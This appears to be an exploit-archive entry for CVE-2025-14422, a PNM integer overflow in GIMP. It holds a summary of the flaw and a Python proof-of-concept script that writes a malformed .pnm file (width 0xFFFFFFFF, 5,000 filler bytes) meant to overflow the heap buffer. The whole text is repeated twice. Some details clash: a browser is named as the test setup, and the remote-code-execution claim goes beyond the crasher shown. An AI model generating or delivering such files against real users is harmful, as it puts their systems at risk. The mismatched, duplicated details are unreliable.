7.8
/ 10
HIGH
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Description
This is a proof of concept exploit that generates a malicious .pnm file for an integer overflow vulnerability in GIMP PNM...
Basic Information
ID
PACKETSTORM:214671
Published
Feb 2, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : GIMP PNM Integer Overflow |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://redhat.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/214572/ & CVE-2025-14422
[+] Summary : This discussion centers on a critical security vulnerability discovered in GIMP (GNU Image Manipulation Program),
specifically within its PNM (Portable Anymap) file parsing logic. The flaw, identified as CVE-2025-14422,
is an Integer Overflow that occurs when the application processes malformed image headers containing excessively large dimensions.
[+] Key Technical Details:
The Flaw: When calculating the memory buffer size (Width×Height×3), the result exceeds the maximum value for a 32-bit integer, causing it to "wrap around" to a very small number.
The Impact: GIMP allocates an undersized buffer based on the overflowed value. When it proceeds to write the actual pixel data from the file into this buffer, a Heap-based Buffer Overflow occurs.
Risk: This vulnerability allows for Remote Code Execution (RCE). An attacker can execute arbitrary code in the context of the current user simply by tricking them into opening a malicious .pnm file.
Mitigation: Red Hat and other Linux vendors have released urgent patches (e.g., RHSA-2026:1591). Users must update GIMP to the latest version to close this security gap.
[+] PoC Overview
The provided Python script serves as a Proof of Concept to demonstrate the vulnerability. It generates a .pnm file with:
A standard P6 header.
Width set to 0xFFFFFFFF to trigger the mathematical overflow.
A payload of 5,000 bytes to ensure the undersized buffer is overwhelmed.
[+] POC :
#!/usr/bin/env python3
import struct
import sys
def create_malicious_pnm(filename):
header = b"P6\n"
width = 0xFFFFFFFF
height = 2
header += f"{width} {height}\n".encode()
header += b"255\n"
payload = b"A" * 5000
try:
with open(filename, 'wb') as f:
f.write(header)
f.write(payload)
print(f"[+] Malicious PNM file created successfully: {filename}")
print("[*] WARNING: Do not open this file unless in an isolated test environment.")
except Exception as e:
print(f"[-] Failed to create file: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 poc.py <filename.pnm>")
sys.exit(1)
create_malicious_pnm(sys.argv[1])
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================
| # Title : GIMP PNM Integer Overflow |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://redhat.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/214572/ & CVE-2025-14422
[+] Summary : This discussion centers on a critical security vulnerability discovered in GIMP (GNU Image Manipulation Program),
specifically within its PNM (Portable Anymap) file parsing logic. The flaw, identified as CVE-2025-14422,
is an Integer Overflow that occurs when the application processes malformed image headers containing excessively large dimensions.
[+] Key Technical Details:
The Flaw: When calculating the memory buffer size (Width×Height×3), the result exceeds the maximum value for a 32-bit integer, causing it to "wrap around" to a very small number.
The Impact: GIMP allocates an undersized buffer based on the overflowed value. When it proceeds to write the actual pixel data from the file into this buffer, a Heap-based Buffer Overflow occurs.
Risk: This vulnerability allows for Remote Code Execution (RCE). An attacker can execute arbitrary code in the context of the current user simply by tricking them into opening a malicious .pnm file.
Mitigation: Red Hat and other Linux vendors have released urgent patches (e.g., RHSA-2026:1591). Users must update GIMP to the latest version to close this security gap.
[+] PoC Overview
The provided Python script serves as a Proof of Concept to demonstrate the vulnerability. It generates a .pnm file with:
A standard P6 header.
Width set to 0xFFFFFFFF to trigger the mathematical overflow.
A payload of 5,000 bytes to ensure the undersized buffer is overwhelmed.
[+] POC :
#!/usr/bin/env python3
import struct
import sys
def create_malicious_pnm(filename):
header = b"P6\n"
width = 0xFFFFFFFF
height = 2
header += f"{width} {height}\n".encode()
header += b"255\n"
payload = b"A" * 5000
try:
with open(filename, 'wb') as f:
f.write(header)
f.write(payload)
print(f"[+] Malicious PNM file created successfully: {filename}")
print("[*] WARNING: Do not open this file unless in an isolated test environment.")
except Exception as e:
print(f"[-] Failed to create file: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 poc.py <filename.pnm>")
sys.exit(1)
create_malicious_pnm(sys.argv[1])
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================